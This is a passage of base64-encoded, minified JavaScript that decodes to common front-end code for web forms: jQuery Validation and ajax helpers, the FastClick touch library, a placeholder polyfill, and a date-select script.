yZW1vdGUiKSx4W2YubmFtZV09ay5tZXNzYWdlPQ0KYi5pc0Z1bmN0aW9uKGcpP2coZSk6ZyxtLmludmFsaWRbZi5uYW1lXT0hMCxtLnNob3dFcnJvcnMoeCk7ay52YWxpZD1uO20uc3RvcFJlcXVlc3QoZixuKX19LGcpKSwicGVuZGluZyJ9fX0pO2IuZm9ybWF0PWIudmFsaWRhdG9yLmZvcm1hdH0pKGpRdWVyeSk7KGZ1bmN0aW9uKGIpe3ZhciBlPXt9O2lmKGIuYWpheFByZWZpbHRlciliLmFqYXhQcmVmaWx0ZXIoZnVuY3Rpb24oYixmLG0pe2Y9Yi5wb3J0OyJhYm9ydCI9PT1iLm1vZGUmJihlW2ZdJiZlW2ZdLmFib3J0KCksZVtmXT1tKX0pO2Vsc2V7dmFyIGY9Yi5hamF4O2IuYWpheD1mdW5jdGlvbihnKXt2YXIgaz0oInBvcnQiaW4gZz9nOmIuYWpheFNldHRpbmdzKS5wb3J0O3JldHVybiJhYm9ydCI9PT0oIm1vZGUiaW4gZz9nOmIuYWpheFNldHRpbmdzKS5tb2RlPyhlW2tdJiZlW2tdLmFib3J0KCksZVtrXT1mLmFwcGx5KHRoaXMsYXJndW1lbnRzKSxlW2tdKTpmLmFwcGx5KHRoaXMsYXJndW1lbnRzKX19fSkoalF1ZXJ5KTsNCihmdW5jdGlvbihiKXtiLmV4dGVuZChiLmZuLHt2YWxpZGF0ZURlbGVnYXRlOmZ1bmN0aW9uKGUsZixnKXtyZXR1cm4gdGhpcy5iaW5kKGYsZnVuY3Rpb24oZil7dmFyIG09YihmLnRhcmdldCk7cmV0dXJuIG0uaXMoZSk/Zy5hcHBseShtLGFyZ3VtZW50cyk6dm9pZCAwfSl9fSl9KShqUXVlcnkpOw0KZnVuY3Rpb24gRmFzdENsaWNrKGIpe3ZhciBlLGY9dGhpczt0aGlzLnRyYWNraW5nQ2xpY2s9ITE7dGhpcy50cmFja2luZ0NsaWNrU3RhcnQ9MDt0aGlzLnRhcmdldEVsZW1lbnQ9bnVsbDt0aGlzLmxhc3RUb3VjaElkZW50aWZpZXI9dGhpcy50b3VjaFN0YXJ0WT10aGlzLnRvdWNoU3RhcnRYPTA7dGhpcy50b3VjaEJvdW5kYXJ5PTEwO3RoaXMubGF5ZXI9YjtpZighYnx8IWIubm9kZVR5cGUpdGhyb3cgbmV3IFR5cGVFcnJvcigiTGF5ZXIgbXVzdCBiZSBhIGRvY3VtZW50IG5vZGUiKTt0aGlzLm9uQ2xpY2s9ZnVuY3Rpb24oKXtyZXR1cm4gRmFzdENsaWNrLnByb3RvdHlwZS5vbkNsaWNrLmFwcGx5KGYsYXJndW1lbnRzKX07dGhpcy5vbk1vdXNlPWZ1bmN0aW9uKCl7cmV0dXJuIEZhc3RDbGljay5wcm90b3R5cGUub25Nb3VzZS5hcHBseShmLGFyZ3VtZW50cyl9O3RoaXMub25Ub3VjaFN0YXJ0PWZ1bmN0aW9uKCl7cmV0dXJuIEZhc3RDbGljay5wcm90b3R5cGUub25Ub3VjaFN0YXJ0LmFwcGx5KGYsDQphcmd1bWVudHMpfTt0aGlzLm9uVG91Y2hNb3ZlPWZ1bmN0aW9uKCl7cmV0dXJuIEZhc3RDbGljay5wcm90b3R5cGUub25Ub3VjaE1vdmUuYXBwbHkoZixhcmd1bWVudHMpfTt0aGlzLm9uVG91Y2hFbmQ9ZnVuY3Rpb24oKXtyZXR1cm4gRmFzdENsaWNrLnByb3RvdHlwZS5vblRvdWNoRW5kLmFwcGx5KGYsYXJndW1lbnRzKX07dGhpcy5vblRvdWNoQ2FuY2VsPWZ1bmN0aW9uKCl7cmV0dXJuIEZhc3RDbGljay5wcm90b3R5cGUub25Ub3VjaENhbmNlbC5hcHBseShmLGFyZ3VtZW50cyl9O0Zhc3RDbGljay5ub3ROZWVkZWQoYil8fCh0aGlzLmRldmljZUlzQW5kcm9pZCYmKGIuYWRkRXZlbnRMaXN0ZW5lcigibW91c2VvdmVyIix0aGlzLm9uTW91c2UsITApLGIuYWRkRXZlbnRMaXN0ZW5lcigibW91c2Vkb3duIix0aGlzLm9uTW91c2UsITApLGIuYWRkRXZlbnRMaXN0ZW5lcigibW91c2V1cCIsdGhpcy5vbk1vdXNlLCEwKSksYi5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsdGhpcy5vbkNsaWNrLA0KITApLGIuYWRkRXZlbnRMaXN0ZW5lcigidG91Y2hzdGFydCIsdGhpcy5vblRvdWNoU3RhcnQsITEpLGIuYWRkRXZlbnRMaXN0ZW5lcigidG91Y2htb3ZlIix0aGlzLm9uVG91Y2hNb3ZlLCExKSxiLmFkZEV2ZW50TGlzdGVuZXIoInRvdWNoZW5kIix0aGlzLm9uVG91Y2hFbmQsITEpLGIuYWRkRXZlbnRMaXN0ZW5lcigidG91Y2hjYW5jZWwiLHRoaXMub25Ub3VjaENhbmNlbCwhMSksRXZlbnQucHJvdG90eXBlLnN0b3BJbW1lZGlhdGVQcm9wYWdhdGlvbnx8KGIucmVtb3ZlRXZlbnRMaXN0ZW5lcj1mdW5jdGlvbihlLGYsbSl7dmFyIG49Tm9kZS5wcm90b3R5cGUucmVtb3ZlRXZlbnRMaXN0ZW5lcjsiY2xpY2siPT09ZT9uLmNhbGwoYixlLGYuaGlqYWNrZWR8fGYsbSk6bi5jYWxsKGIsZSxmLG0pfSxiLmFkZEV2ZW50TGlzdGVuZXI9ZnVuY3Rpb24oZSxmLG0pe3ZhciBuPU5vZGUucHJvdG90eXBlLmFkZEV2ZW50TGlzdGVuZXI7ImNsaWNrIj09PWU/bi5jYWxsKGIsZSxmLmhpamFja2VkfHwNCihmLmhpamFja2VkPWZ1bmN0aW9uKGIpe2IucHJvcGFnYXRpb25TdG9wcGVkfHxmKGIpfSksbSk6bi5jYWxsKGIsZSxmLG0pfSksImZ1bmN0aW9uIj09PXR5cGVvZiBiLm9uY2xpY2smJihlPWIub25jbGljayxiLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIixmdW5jdGlvbihiKXtlKGIpfSwhMSksYi5vbmNsaWNrPW51bGwpKX1GYXN0Q2xpY2sucHJvdG90eXBlLmRldmljZUlzQW5kcm9pZD0wPG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZigiQW5kcm9pZCIpO0Zhc3RDbGljay5wcm90b3R5cGUuZGV2aWNlSXNJT1M9L2lQKGFkfGhvbmV8b2QpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpO0Zhc3RDbGljay5wcm90b3R5cGUuZGV2aWNlSXNJT1M0PUZhc3RDbGljay5wcm90b3R5cGUuZGV2aWNlSXNJT1MmJi9PUyA0X1xkKF9cZCk/Ly50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpOw0KRmFzdENsaWNrLnByb3RvdHlwZS5kZXZpY2VJc0lPU1dpdGhCYWRUYXJnZXQ9RmFzdENsaWNrLnByb3RvdHlwZS5kZXZpY2VJc0lPUyYmL09TIChbNi05XXxcZHsyfSlfXGQvLnRlc3QobmF2aWdhdG9yLnVzZXJBZ2VudCk7RmFzdENsaWNrLnByb3RvdHlwZS5uZWVkc0NsaWNrPWZ1bmN0aW9uKGIpe3N3aXRjaChiLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCkpe2Nhc2UgImJ1dHRvbiI6Y2FzZSAic2VsZWN0IjpjYXNlICJ0ZXh0YXJlYSI6aWYoYi5kaXNhYmxlZClyZXR1cm4hMDticmVhaztjYXNlICJpbnB1dCI6aWYodGhpcy5kZXZpY2VJc0lPUyYmImZpbGUiPT09Yi50eXBlfHxiLmRpc2FibGVkKXJldHVybiEwO2JyZWFrO2Nhc2UgImxhYmVsIjpjYXNlICJ2aWRlbyI6cmV0dXJuITB9cmV0dXJuL1xibmVlZHNjbGlja1xiLy50ZXN0KGIuY2xhc3NOYW1lKX07DQpGYXN0Q2xpY2sucHJvdG90eXBlLm5lZWRzRm9jdXM9ZnVuY3Rpb24oYil7c3dpdGNoKGIubm9kZU5hbWUudG9Mb3dlckNhc2UoKSl7Y2FzZSAidGV4dGFyZWEiOnJldHVybiEwO2Nhc2UgInNlbGVjdCI6cmV0dXJuIXRoaXMuZGV2aWNlSXNBbmRyb2lkO2Nhc2UgImlucHV0Ijpzd2l0Y2goYi50eXBlKXtjYXNlICJidXR0b24iOmNhc2UgImNoZWNrYm94IjpjYXNlICJmaWxlIjpjYXNlICJpbWFnZSI6Y2FzZSAicmFkaW8iOmNhc2UgInN1Ym1pdCI6cmV0dXJuITF9cmV0dXJuIWIuZGlzYWJsZWQmJiFiLnJlYWRPbmx5O2RlZmF1bHQ6cmV0dXJuL1xibmVlZHNmb2N1c1xiLy50ZXN0KGIuY2xhc3NOYW1lKX19Ow0KRmFzdENsaWNrLnByb3RvdHlwZS5zZW5kQ2xpY2s9ZnVuY3Rpb24oYixlKXt2YXIgZixnO2RvY3VtZW50LmFjdGl2ZUVsZW1lbnQmJmRvY3VtZW50LmFjdGl2ZUVsZW1lbnQhPT1iJiZkb2N1bWVudC5hY3RpdmVFbGVtZW50LmJsdXIoKTtnPWUuY2hhbmdlZFRvdWNoZXNbMF07Zj1kb2N1bWVudC5jcmVhdGVFdmVudCgiTW91c2VFdmVudHMiKTtmLmluaXRNb3VzZUV2ZW50KHRoaXMuZGV0ZXJtaW5lRXZlbnRUeXBlKGIpLCEwLCEwLHdpbmRvdywxLGcuc2NyZWVuWCxnLnNjcmVlblksZy5jbGllbnRYLGcuY2xpZW50WSwhMSwhMSwhMSwhMSwwLG51bGwpO2YuZm9yd2FyZGVkVG91Y2hFdmVudD0hMDtiLmRpc3BhdGNoRXZlbnQoZil9O0Zhc3RDbGljay5wcm90b3R5cGUuZGV0ZXJtaW5lRXZlbnRUeXBlPWZ1bmN0aW9uKGIpe3JldHVybiB0aGlzLmRldmljZUlzQW5kcm9pZCYmInNlbGVjdCI9PT1iLnRhZ05hbWUudG9Mb3dlckNhc2UoKT8ibW91c2Vkb3duIjoiY2xpY2sifTsNCkZhc3RDbGljay5wcm90b3R5cGUuZm9jdXM9ZnVuY3Rpb24oYil7dmFyIGU7dGhpcy5kZXZpY2VJc0lPUyYmYi5zZXRTZWxlY3Rpb25SYW5nZSYmMCE9PWIudHlwZS5pbmRleE9mKCJkYXRlIikmJiJ0aW1lIiE9PWIudHlwZT8oZT1iLnZhbHVlLmxlbmd0aCxiLnNldFNlbGVjdGlvblJhbmdlKGUsZSkpOmIuZm9jdXMoKX07RmFzdENsaWNrLnByb3RvdHlwZS51cGRhdGVTY3JvbGxQYXJlbnQ9ZnVuY3Rpb24oYil7dmFyIGUsZjtlPWIuZmFzdENsaWNrU2Nyb2xsUGFyZW50O2lmKCFlfHwhZS5jb250YWlucyhiKSl7Zj1iO2Rve2lmKGYuc2Nyb2xsSGVpZ2h0PmYub2Zmc2V0SGVpZ2h0KXtlPWY7Yi5mYXN0Q2xpY2tTY3JvbGxQYXJlbnQ9ZjticmVha31mPWYucGFyZW50RWxlbWVudH13aGlsZShmKX1lJiYoZS5mYXN0Q2xpY2tMYXN0U2Nyb2xsVG9wPWUuc2Nyb2xsVG9wKX07DQpGYXN0Q2xpY2sucHJvdG90eXBlLmdldFRhcmdldEVsZW1lbnRGcm9tRXZlbnRUYXJnZXQ9ZnVuY3Rpb24oYil7cmV0dXJuIGIubm9kZVR5cGU9PT1Ob2RlLlRFWFRfTk9ERT9iLnBhcmVudE5vZGU6Yn07DQpGYXN0Q2xpY2sucHJvdG90eXBlLm9uVG91Y2hTdGFydD1mdW5jdGlvbihiKXt2YXIgZSxmLGc7aWYoMTxiLnRhcmdldFRvdWNoZXMubGVuZ3RoKXJldHVybiEwO2U9dGhpcy5nZXRUYXJnZXRFbGVtZW50RnJvbUV2ZW50VGFyZ2V0KGIudGFyZ2V0KTtmPWIudGFyZ2V0VG91Y2hlc1swXTtpZih0aGlzLmRldmljZUlzSU9TKXtnPXdpbmRvdy5nZXRTZWxlY3Rpb24oKTtpZihnLnJhbmdlQ291bnQmJiFnLmlzQ29sbGFwc2VkKXJldHVybiEwO2lmKCF0aGlzLmRldmljZUlzSU9TNCl7aWYoZi5pZGVudGlmaWVyPT09dGhpcy5sYXN0VG91Y2hJZGVudGlmaWVyKXJldHVybiBiLnByZXZlbnREZWZhdWx0KCksITE7dGhpcy5sYXN0VG91Y2hJZGVudGlmaWVyPWYuaWRlbnRpZmllcjt0aGlzLnVwZGF0ZVNjcm9sbFBhcmVudChlKX19dGhpcy50cmFja2luZ0NsaWNrPSEwO3RoaXMudHJhY2tpbmdDbGlja1N0YXJ0PWIudGltZVN0YW1wO3RoaXMudGFyZ2V0RWxlbWVudD1lO3RoaXMudG91Y2hTdGFydFg9DQpmLnBhZ2VYO3RoaXMudG91Y2hTdGFydFk9Zi5wYWdlWTsyMDA+Yi50aW1lU3RhbXAtdGhpcy5sYXN0Q2xpY2tUaW1lJiZiLnByZXZlbnREZWZhdWx0KCk7cmV0dXJuITB9O0Zhc3RDbGljay5wcm90b3R5cGUudG91Y2hIYXNNb3ZlZD1mdW5jdGlvbihiKXtiPWIuY2hhbmdlZFRvdWNoZXNbMF07dmFyIGU9dGhpcy50b3VjaEJvdW5kYXJ5O3JldHVybiBNYXRoLmFicyhiLnBhZ2VYLXRoaXMudG91Y2hTdGFydFgpPmV8fE1hdGguYWJzKGIucGFnZVktdGhpcy50b3VjaFN0YXJ0WSk+ZT8hMDohMX07RmFzdENsaWNrLnByb3RvdHlwZS5vblRvdWNoTW92ZT1mdW5jdGlvbihiKXtpZighdGhpcy50cmFja2luZ0NsaWNrKXJldHVybiEwO2lmKHRoaXMudGFyZ2V0RWxlbWVudCE9PXRoaXMuZ2V0VGFyZ2V0RWxlbWVudEZyb21FdmVudFRhcmdldChiLnRhcmdldCl8fHRoaXMudG91Y2hIYXNNb3ZlZChiKSl0aGlzLnRyYWNraW5nQ2xpY2s9ITEsdGhpcy50YXJnZXRFbGVtZW50PW51bGw7cmV0dXJuITB9Ow0KRmFzdENsaWNrLnByb3RvdHlwZS5maW5kQ29udHJvbD1mdW5jdGlvbihiKXtyZXR1cm4gdm9pZCAwIT09Yi5jb250cm9sP2IuY29udHJvbDpiLmh0bWxGb3I/ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoYi5odG1sRm9yKTpiLnF1ZXJ5U2VsZWN0b3IoImJ1dHRvbiwgaW5wdXQ6bm90KFt0eXBlXHgzZGhpZGRlbl0pLCBrZXlnZW4sIG1ldGVyLCBvdXRwdXQsIHByb2dyZXNzLCBzZWxlY3QsIHRleHRhcmVhIil9Ow0KRmFzdENsaWNrLnByb3RvdHlwZS5vblRvdWNoRW5kPWZ1bmN0aW9uKGIpe3ZhciBlLGYsZz10aGlzLnRhcmdldEVsZW1lbnQ7aWYoIXRoaXMudHJhY2tpbmdDbGljaylyZXR1cm4hMDtpZigyMDA+Yi50aW1lU3RhbXAtdGhpcy5sYXN0Q2xpY2tUaW1lKXJldHVybiB0aGlzLmNhbmNlbE5leHRDbGljaz0hMDt0aGlzLmNhbmNlbE5leHRDbGljaz0hMTt0aGlzLmxhc3RDbGlja1RpbWU9Yi50aW1lU3RhbXA7ZT10aGlzLnRyYWNraW5nQ2xpY2tTdGFydDt0aGlzLnRyYWNraW5nQ2xpY2s9ITE7dGhpcy50cmFja2luZ0NsaWNrU3RhcnQ9MDt0aGlzLmRldmljZUlzSU9TV2l0aEJhZFRhcmdldCYmKGY9Yi5jaGFuZ2VkVG91Y2hlc1swXSxnPWRvY3VtZW50LmVsZW1lbnRGcm9tUG9pbnQoZi5wYWdlWC13aW5kb3cucGFnZVhPZmZzZXQsZi5wYWdlWS13aW5kb3cucGFnZVlPZmZzZXQpfHxnLGcuZmFzdENsaWNrU2Nyb2xsUGFyZW50PXRoaXMudGFyZ2V0RWxlbWVudC5mYXN0Q2xpY2tTY3JvbGxQYXJlbnQpOw0KZj1nLnRhZ05hbWUudG9Mb3dlckNhc2UoKTtpZigibGFiZWwiPT09Zil7aWYoZT10aGlzLmZpbmRDb250cm9sKGcpKXt0aGlzLmZvY3VzKGcpO2lmKHRoaXMuZGV2aWNlSXNBbmRyb2lkKXJldHVybiExO2c9ZX19ZWxzZSBpZih0aGlzLm5lZWRzRm9jdXMoZykpe2lmKDEwMDxiLnRpbWVTdGFtcC1lfHx0aGlzLmRldmljZUlzSU9TJiZ3aW5kb3cudG9wIT09d2luZG93JiYiaW5wdXQiPT09ZilyZXR1cm4gdGhpcy50YXJnZXRFbGVtZW50PW51bGwsITE7dGhpcy5mb2N1cyhnKTtpZighdGhpcy5kZXZpY2VJc0lPUzR8fCJzZWxlY3QiIT09Zil0aGlzLnRhcmdldEVsZW1lbnQ9bnVsbCxiLnByZXZlbnREZWZhdWx0KCk7cmV0dXJuITF9aWYodGhpcy5kZXZpY2VJc0lPUyYmIXRoaXMuZGV2aWNlSXNJT1M0JiYoZT1nLmZhc3RDbGlja1Njcm9sbFBhcmVudCkmJmUuZmFzdENsaWNrTGFzdFNjcm9sbFRvcCE9PWUuc2Nyb2xsVG9wKXJldHVybiEwO3RoaXMubmVlZHNDbGljayhnKXx8KGIucHJldmVudERlZmF1bHQoKSwNCnRoaXMuc2VuZENsaWNrKGcsYikpO3JldHVybiExfTtGYXN0Q2xpY2sucHJvdG90eXBlLm9uVG91Y2hDYW5jZWw9ZnVuY3Rpb24oKXt0aGlzLnRyYWNraW5nQ2xpY2s9ITE7dGhpcy50YXJnZXRFbGVtZW50PW51bGx9O0Zhc3RDbGljay5wcm90b3R5cGUub25Nb3VzZT1mdW5jdGlvbihiKXtyZXR1cm4hdGhpcy50YXJnZXRFbGVtZW50fHxiLmZvcndhcmRlZFRvdWNoRXZlbnR8fCFiLmNhbmNlbGFibGU/ITA6IXRoaXMubmVlZHNDbGljayh0aGlzLnRhcmdldEVsZW1lbnQpfHx0aGlzLmNhbmNlbE5leHRDbGljaz8oYi5zdG9wSW1tZWRpYXRlUHJvcGFnYXRpb24/Yi5zdG9wSW1tZWRpYXRlUHJvcGFnYXRpb24oKTpiLnByb3BhZ2F0aW9uU3RvcHBlZD0hMCxiLnN0b3BQcm9wYWdhdGlvbigpLGIucHJldmVudERlZmF1bHQoKSwhMSk6ITB9Ow0KRmFzdENsaWNrLnByb3RvdHlwZS5vbkNsaWNrPWZ1bmN0aW9uKGIpe2lmKHRoaXMudHJhY2tpbmdDbGljaylyZXR1cm4gdGhpcy50YXJnZXRFbGVtZW50PW51bGwsdGhpcy50cmFja2luZ0NsaWNrPSExLCEwO2lmKCJzdWJtaXQiPT09Yi50YXJnZXQudHlwZSYmMD09PWIuZGV0YWlsKXJldHVybiEwO2I9dGhpcy5vbk1vdXNlKGIpO2J8fCh0aGlzLnRhcmdldEVsZW1lbnQ9bnVsbCk7cmV0dXJuIGJ9Ow0KRmFzdENsaWNrLnByb3RvdHlwZS5kZXN0cm95PWZ1bmN0aW9uKCl7dmFyIGI9dGhpcy5sYXllcjt0aGlzLmRldmljZUlzQW5kcm9pZCYmKGIucmVtb3ZlRXZlbnRMaXN0ZW5lcigibW91c2VvdmVyIix0aGlzLm9uTW91c2UsITApLGIucmVtb3ZlRXZlbnRMaXN0ZW5lcigibW91c2Vkb3duIix0aGlzLm9uTW91c2UsITApLGIucmVtb3ZlRXZlbnRMaXN0ZW5lcigibW91c2V1cCIsdGhpcy5vbk1vdXNlLCEwKSk7Yi5yZW1vdmVFdmVudExpc3RlbmVyKCJjbGljayIsdGhpcy5vbkNsaWNrLCEwKTtiLnJlbW92ZUV2ZW50TGlzdGVuZXIoInRvdWNoc3RhcnQiLHRoaXMub25Ub3VjaFN0YXJ0LCExKTtiLnJlbW92ZUV2ZW50TGlzdGVuZXIoInRvdWNobW92ZSIsdGhpcy5vblRvdWNoTW92ZSwhMSk7Yi5yZW1vdmVFdmVudExpc3RlbmVyKCJ0b3VjaGVuZCIsdGhpcy5vblRvdWNoRW5kLCExKTtiLnJlbW92ZUV2ZW50TGlzdGVuZXIoInRvdWNoY2FuY2VsIix0aGlzLm9uVG91Y2hDYW5jZWwsITEpfTsNCkZhc3RDbGljay5ub3ROZWVkZWQ9ZnVuY3Rpb24oYil7dmFyIGUsZjtpZigidW5kZWZpbmVkIj09PXR5cGVvZiB3aW5kb3cub250b3VjaHN0YXJ0KXJldHVybiEwO2lmKGY9KygvQ2hyb21lXC8oWzAtOV0rKS8uZXhlYyhuYXZpZ2F0b3IudXNlckFnZW50KXx8WywwXSlbMV0paWYoRmFzdENsaWNrLnByb3RvdHlwZS5kZXZpY2VJc0FuZHJvaWQpe2lmKChlPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIm1ldGFbbmFtZVx4M2R2aWV3cG9ydF0iKSkmJigtMSE9PWUuY29udGVudC5pbmRleE9mKCJ1c2VyLXNjYWxhYmxlXHgzZG5vIil8fDMxPGYmJndpbmRvdy5pbm5lcldpZHRoPD13aW5kb3cuc2NyZWVuLndpZHRoKSlyZXR1cm4hMH1lbHNlIHJldHVybiEwO3JldHVybiJub25lIj09PWIuc3R5bGUubXNUb3VjaEFjdGlvbj8hMDohMX07RmFzdENsaWNrLmF0dGFjaD1mdW5jdGlvbihiKXtyZXR1cm4gbmV3IEZhc3RDbGljayhiKX07DQoidW5kZWZpbmVkIiE9PXR5cGVvZiBkZWZpbmUmJmRlZmluZS5hbWQ/ZGVmaW5lKGZ1bmN0aW9uKCl7cmV0dXJuIEZhc3RDbGlja30pOiJ1bmRlZmluZWQiIT09dHlwZW9mIG1vZHVsZSYmbW9kdWxlLmV4cG9ydHM/KG1vZHVsZS5leHBvcnRzPUZhc3RDbGljay5hdHRhY2gsbW9kdWxlLmV4cG9ydHMuRmFzdENsaWNrPUZhc3RDbGljayk6d2luZG93LkZhc3RDbGljaz1GYXN0Q2xpY2s7DQooZnVuY3Rpb24oYixlLGYpe2Z1bmN0aW9uIGcoYil7dmFyIGU9e30sZz0vXmpRdWVyeVxkKyQvO2YuZWFjaChiLmF0dHJpYnV0ZXMsZnVuY3Rpb24oYixmKXtmLnNwZWNpZmllZCYmIWcudGVzdChmLm5hbWUpJiYoZVtmLm5hbWVdPWYudmFsdWUpfSk7cmV0dXJuIGV9ZnVuY3Rpb24gayhiLGUpe3ZhciBnPWYodGhpcyk7aWYodGhpcy52YWx1ZT09Zy5hdHRyKCJwbGFjZWhvbGRlciIpJiZnLmhhc0NsYXNzKCJwbGFjZWhvbGRlciIpKWlmKGcuZGF0YSgicGxhY2Vob2xkZXItcGFzc3dvcmQiKSl7Zz1nLmhpZGUoKS5uZXh0KCkuc2hvdygpLmF0dHIoImlkIixnLnJlbW92ZUF0dHIoImlkIikuZGF0YSgicGxhY2Vob2xkZXItaWQiKSk7aWYoITA9PT1iKXJldHVybiBnWzBdLnZhbHVlPWU7Zy5mb2N1cygpfWVsc2UgdGhpcy52YWx1ZT0iIixnLnJlbW92ZUNsYXNzKCJwbGFjZWhvbGRlciIpLHRoaXM9PW4oKSYmdGhpcy5zZWxlY3QoKX1mdW5jdGlvbiBtKCl7dmFyIGIsZT1mKHRoaXMpLG09DQp0aGlzLmlkO2lmKCIiPT10aGlzLnZhbHVlKXtpZigicGFzc3dvcmQiPT10aGlzLnR5cGUpe2lmKCFlLmRhdGEoInBsYWNlaG9sZGVyLXRleHRpbnB1dCIpKXt0cnl7Yj1lLmNsb25lKCkuYXR0cih7dHlwZToidGV4dCJ9KX1jYXRjaChuKXtiPWYoIlx4M2NpbnB1dFx4M2UiKS5hdHRyKGYuZXh0ZW5kKGcodGhpcykse3R5cGU6InRleHQifSkpfWIucmVtb3ZlQXR0cigibmFtZSIpLmRhdGEoeyJwbGFjZWhvbGRlci1wYXNzd29yZCI6ZSwicGxhY2Vob2xkZXItaWQiOm19KS5iaW5kKCJmb2N1cy5wbGFjZWhvbGRlciIsayk7ZS5kYXRhKHsicGxhY2Vob2xkZXItdGV4dGlucHV0IjpiLCJwbGFjZWhvbGRlci1pZCI6bX0pLmJlZm9yZShiKX1lPWUucmVtb3ZlQXR0cigiaWQiKS5oaWRlKCkucHJldigpLmF0dHIoImlkIixtKS5zaG93KCl9ZS5hZGRDbGFzcygicGxhY2Vob2xkZXIiKTtlWzBdLnZhbHVlPWUuYXR0cigicGxhY2Vob2xkZXIiKX1lbHNlIGUucmVtb3ZlQ2xhc3MoInBsYWNlaG9sZGVyIil9DQpmdW5jdGlvbiBuKCl7dHJ5e3JldHVybiBlLmFjdGl2ZUVsZW1lbnR9Y2F0Y2goYil7fX12YXIgdz0iW29iamVjdCBPcGVyYU1pbmldIj09T2JqZWN0LnByb3RvdHlwZS50b1N0cmluZy5jYWxsKGIub3BlcmFtaW5pKSx6PSJwbGFjZWhvbGRlciJpbiBlLmNyZWF0ZUVsZW1lbnQoImlucHV0IikmJiF3LHc9InBsYWNlaG9sZGVyImluIGUuY3JlYXRlRWxlbWVudCgidGV4dGFyZWEiKSYmIXcseD1mLmZuLFY9Zi52YWxIb29rcyxUPWYucHJvcEhvb2tzO3omJnc/KHg9eC5wbGFjZWhvbGRlcj1mdW5jdGlvbigpe3JldHVybiB0aGlzfSx4LmlucHV0PXgudGV4dGFyZWE9ITApOih4PXgucGxhY2Vob2xkZXI9ZnVuY3Rpb24oKXt0aGlzLmZpbHRlcigoej8idGV4dGFyZWEiOiI6aW5wdXQiKSsiW3BsYWNlaG9sZGVyXSIpLm5vdCgiLnBsYWNlaG9sZGVyIikuYmluZCh7ImZvY3VzLnBsYWNlaG9sZGVyIjprLCJibHVyLnBsYWNlaG9sZGVyIjptfSkuZGF0YSgicGxhY2Vob2xkZXItZW5hYmxlZCIsDQohMCkudHJpZ2dlcigiYmx1ci5wbGFjZWhvbGRlciIpO3JldHVybiB0aGlzfSx4LmlucHV0PXoseC50ZXh0YXJlYT13LHg9e2dldDpmdW5jdGlvbihiKXt2YXIgZT1mKGIpLGc9ZS5kYXRhKCJwbGFjZWhvbGRlci1wYXNzd29yZCIpO3JldHVybiBnP2dbMF0udmFsdWU6ZS5kYXRhKCJwbGFjZWhvbGRlci1lbmFibGVkIikmJmUuaGFzQ2xhc3MoInBsYWNlaG9sZGVyIik/IiI6Yi52YWx1ZX0sc2V0OmZ1bmN0aW9uKGIsZSl7dmFyIGc9ZihiKSx3PWcuZGF0YSgicGxhY2Vob2xkZXItcGFzc3dvcmQiKTtpZih3KXJldHVybiB3WzBdLnZhbHVlPWU7aWYoIWcuZGF0YSgicGxhY2Vob2xkZXItZW5hYmxlZCIpKXJldHVybiBiLnZhbHVlPWU7IiI9PWU/KGIudmFsdWU9ZSxiIT1uKCkmJm0uY2FsbChiKSk6Zy5oYXNDbGFzcygicGxhY2Vob2xkZXIiKT9rLmNhbGwoYiwhMCxlKXx8KGIudmFsdWU9ZSk6Yi52YWx1ZT1lO3JldHVybiBnfX0senx8KFYuaW5wdXQ9eCxULnZhbHVlPXgpLHd8fChWLnRleHRhcmVhPQ0KeCxULnZhbHVlPXgpLGYoZnVuY3Rpb24oKXtmKGUpLmRlbGVnYXRlKCJmb3JtIiwic3VibWl0LnBsYWNlaG9sZGVyIixmdW5jdGlvbigpe3ZhciBiPWYoIi5wbGFjZWhvbGRlciIsdGhpcykuZWFjaChrKTtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7Yi5lYWNoKG0pfSwxMCl9KX0pLGYoYikuYmluZCgiYmVmb3JldW5sb2FkLnBsYWNlaG9sZGVyIixmdW5jdGlvbigpe2YoIi5wbGFjZWhvbGRlciIpLmVhY2goZnVuY3Rpb24oKXt0aGlzLnZhbHVlPSIifSl9KSl9KSh0aGlzLGRvY3VtZW50LGpRdWVyeSk7JCh3aW5kb3cpLm9uKCJsb2FkIixmdW5jdGlvbigpe0Zhc3RDbGljay5hdHRhY2goZG9jdW1lbnQuYm9keSl9KTsNCihmdW5jdGlvbihiKXtmdW5jdGlvbiBlKCl7dmFyIGU9YigiI21vbnRoIG9wdGlvbjpzZWxlY3RlZCIpLmF0dHIoInZhbHVlIiktMSxmPWIoIiN5ZWFyIG9wdGlvbjpzZWxlY3RlZCIpLmF0dHIoInZhbHVlIiksbT1iKCIjZGF5IG9wdGlvbjpzZWxlY3RlZCIpLmF0dHIoInZhbHVlIik7ZT9mP2U9MzItKG5ldyBEYXRlKGYsZSwzMikpLmdldERhdGUoKToxPT09ZT9lPTI5OihmPShuZXcgRGF0ZSkuZ2V0RnVsbFllYXIoKSxlPTMyLShuZXcgRGF0ZShmLGUsMzIpKS5nZXREYXRlKCkpOmU9MzE7dmFyIGY9YigiI2RheSIpLG4sdztuPWYucHJvcD9mLnByb3AoIm9wdGlvbnMiKTpmLmF0dHIoIm9wdGlvbnMiKTtpZihuLmxlbmd0aC0xIT09ZSl7bj0wPG4ubGVuZ3RoP25bMF0udGV4dDoiRGF5IjtiKCJvcHRpb24iLGYpLnJlbW92ZSgpO2YuYXBwZW5kKGIoIlx4M2NvcHRpb24gL1x4M2UiKS52YWwoIiIpLnRleHQobikpO2ZvcihuPTE7bjw9ZTtuKz0xKXc9d2luZG93LnNwZWNpYWxfZGF5X2NoYXJ8fA0KIiIsZi5hcHBlbmQoYigiXHgzY29wdGlvbiAvXHgzZSIpLnZhbChuKS50ZXh0KG4udG9TdHJpbmcoMTApK3cpKTtmLnZhbCgiIil9bT8oYigiI2RheSIpLnZhbChtKSwiIj09PWIoIiNkYXkiKS52YWwoKT9iKCIjZGF5IikucmVtb3ZlQ2xhc3MoInNlbGVjdGVkIik6YigiI2RheSIpLmFkZENsYXNzKCJzZWxlY3RlZCIpKTpiKCIjZGF5IikudmFsKCIiKX12YXIgZj0ib250b3VjaHN0YXJ0ImluIHdpbmRvd3x8d2luZG93LkRvY3VtZW50VG91Y2gmJmRvY3VtZW50IGlu